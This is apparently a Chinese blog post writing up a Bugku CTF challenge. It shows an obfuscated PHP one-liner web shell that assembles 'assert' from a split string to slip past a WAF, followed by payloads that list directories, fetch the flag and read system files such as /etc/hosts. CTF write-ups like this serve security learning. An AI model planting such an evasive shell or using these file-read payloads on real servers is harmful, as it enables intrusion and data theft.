bugku——過狗一句話(奇淫技巧)
阿新 • • 發佈:2019-02-14
今天學校ctf戰隊給了個bugku的題不過改了一下,我覺得挺有意思的,做一下記錄。
題目
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>
exlpde()分割a#s#s#e#r#t為assert,使用assert()函式的解析傳進來的s串,assert有程式碼執行漏洞。
解題payload
?s=print_r(scandir('./'))
掃描當前目錄,並按陣列輸出。
url新增f94lag.txt,就可以拿到flag了。
奇淫技巧
利用此漏洞查詢其他檔案,例如hosts
首先,掃描上級目錄,payload
?s=print_r(scandir('../'))
看到這是linux作業系統的檔案目錄
所以hosts應該在etc裡面,讀一下就能看到了。
2. 使用fopen() 或者 readfile() 函式讀取檔案
樣例payload
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))
任意檔案讀取,實在太騷了。